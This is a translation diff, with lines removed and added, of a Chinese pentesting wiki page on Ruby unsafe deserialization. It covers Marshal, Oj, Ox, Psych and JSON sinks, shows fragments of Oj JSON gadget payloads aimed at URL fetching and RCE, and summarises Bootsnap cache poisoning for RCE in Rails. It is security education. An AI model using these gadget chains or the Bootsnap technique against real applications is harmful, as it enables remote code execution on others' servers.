**这篇博客文章**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。 -还有其他 Ruby 库可以用来序列化对象,因此可以被滥用以在不安全的反序列化过程中获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库中的方法(基本上是滥用以获得 RCE 的函数): +还有其他 Ruby 库可以用来序列化对象,因此可以被滥用以在不安全的反序列化期间获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库中的方法(基本上是滥用以获取 RCE 的函数): 库输入数据类内部启动方法Marshal (Ruby)二进制_loadOjJSONhash(类需要作为键放入哈希(映射)中)OxXMLhash(类需要作为键放入哈希(映射)中)Psych (Ruby)YAMLhash(类需要作为键放入哈希(映射)中)init_withJSON (Ruby)JSONjson_create([查看关于 json_create 的说明](#table-vulnerable-sinks)) @@ -888,7 +942,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数内部会调用 `to_s`,这将调用 spec,进而调用 fetch_path,最终可以使其获取一个随机 URL,从而很好地检测这些未清理的反序列化漏洞。 +在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数中会调用 `to_s`,而 `to_s` 会调用 spec,进而调用 fetch_path,这使得它能够获取一个随机 URL,从而很好地检测这些未清理的反序列化漏洞。 ```json { "^o": "URI::HTTP", @@ -900,7 +954,7 @@ Oj.load(json_payload) "password": "anypw" } ``` -此外,发现使用前述技术在系统中还会创建一个文件夹,这是滥用另一个小工具的要求,以便将其转化为完整的 RCE,类似于: +此外,发现使用前述技术在系统中还会创建一个文件夹,这是滥用另一个小工具的要求,以便将其转变为完整的 RCE,类似于: ```json { "^o": "Gem::Resolver::SpecSpecification", @@ -926,38 +980,37 @@ Oj.load(json_payload) ### Bootstrap Caching -这实际上不是一个反序列化漏洞,而是一个利用 bootstrap 缓存来从 Rails 应用程序中获取 RCE 的好技巧(完整的[原始帖子在这里](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/))。 +这实际上不是一个反序列化漏洞,但这是一个很好的技巧,可以利用bootstrap缓存从rails应用程序中获取RCE,并进行任意文件写入(完整的[原始帖子在这里](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/))。 -以下是文章中详细描述的通过滥用 Bootsnap 缓存来利用任意文件写入漏洞的步骤的简要总结: +以下是文章中详细描述的通过滥用Bootsnap缓存来利用任意文件写入漏洞的步骤的简要总结: - 识别漏洞和环境 -Rails 应用程序的文件上传功能允许攻击者任意写入文件。尽管该应用程序在限制下运行(由于 Docker 的非根用户,只有某些目录如 tmp 可写),但这仍然允许写入 Bootsnap 缓存目录(通常在 tmp/cache/bootsnap 下)。 +Rails应用程序的文件上传功能允许攻击者任意写入文件。尽管该应用程序在限制下运行(由于Docker的非root用户,只有某些目录如tmp是可写的),但这仍然允许写入Bootsnap缓存目录(通常在tmp/cache/bootsnap下)。 -- 理解 Bootsnap 的缓存机制 +- 理解Bootsnap的缓存机制 -Bootsnap 通过缓存编译的 Ruby 代码、YAML 和 JSON 文件来加快 Rails 启动时间。它存储包含缓存键头的缓存文件(带有 Ruby 版本、文件大小、mtime、编译选项等字段),后面跟着编译的代码。此头用于在应用程序启动时验证缓存。 +Bootsnap通过缓存编译的Ruby代码、YAML和JSON文件来加快Rails启动时间。它存储包含缓存键头的缓存文件(包括Ruby版本、文件大小、mtime、编译选项等字段),后面跟着编译的代码。此头用于在应用程序启动时验证缓存。 - 收集文件元数据 -攻击者首先选择一个在 Rails 启动期间可能加载的目标文件(例如,Ruby 标准库中的 set.rb)。通过在容器内执行 Ruby 代码,他们提取关键元数据(如 RUBY_VERSION、RUBY_REVISION、大小、mtime 和 compile_option)。这些数据对于构造有效的缓存键至关重要。 +攻击者首先选择一个在Rails启动期间可能加载的目标文件(例如,Ruby标准库中的set.rb)。通过在容器内执行Ruby代码,他们提取关键元数据(如RUBY_VERSION、RUBY_REVISION、大小、mtime和compile_option)。这些数据对于构造有效的缓存键至关重要。 - 计算缓存文件路径 -通过复制 Bootsnap 的 FNV-1a 64 位哈希机制,确定正确的缓存文件路径。此步骤确保恶意缓存文件被放置在 Bootsnap 期望的位置(例如,在 tmp/cache/bootsnap/compile-cache-iseq/ 下)。 +通过复制Bootsnap的FNV-1a 64位哈希机制,确定正确的缓存文件路径。此步骤确保恶意缓存文件被放置在Bootsnap期望的位置(例如,在tmp/cache/bootsnap/compile-cache-iseq/下)。 - 构造恶意缓存文件 攻击者准备一个有效载荷,该有效载荷: -- 执行任意命令(例如,运行 id 以显示进程信息)。 +- 执行任意命令(例如,运行id以显示进程信息)。 - 在执行后删除恶意缓存,以防止递归利用。 - 加载原始文件(例如,set.rb)以避免崩溃应用程序。 -该有效载荷被编译成二进制 Ruby 代码,并与精心构造的缓存键头连接在一起(使用先前收集的元数据和 Bootsnap 的正确版本号)。 +该有效载荷被编译成二进制Ruby代码,并与精心构造的缓存键头连接在一起(使用先前收集的元数据和Bootsnap的正确版本号)。 - 覆盖并触发执行 - -利用任意文件写入漏洞,攻击者将构造的缓存文件写入计算的位置。接下来,他们触发服务器重启(通过写入 tmp/restart.txt,Puma 会监控该文件)。在重启期间,当 Rails 需要目标文件时,恶意缓存文件被加载,从而导致远程代码执行(RCE)。 +利用任意文件写入漏洞,攻击者将构造的缓存文件写入计算的位置。接下来,他们触发服务器重启(通过写入tmp/restart.txt,Puma会监控该文件)。在重启期间,当Rails需要目标文件时,恶意缓存文件被加载,从而导致远程代码执行(RCE)。 {{#include ../../banners/hacktricks-training.md}}
_load
hash
init_with
json_create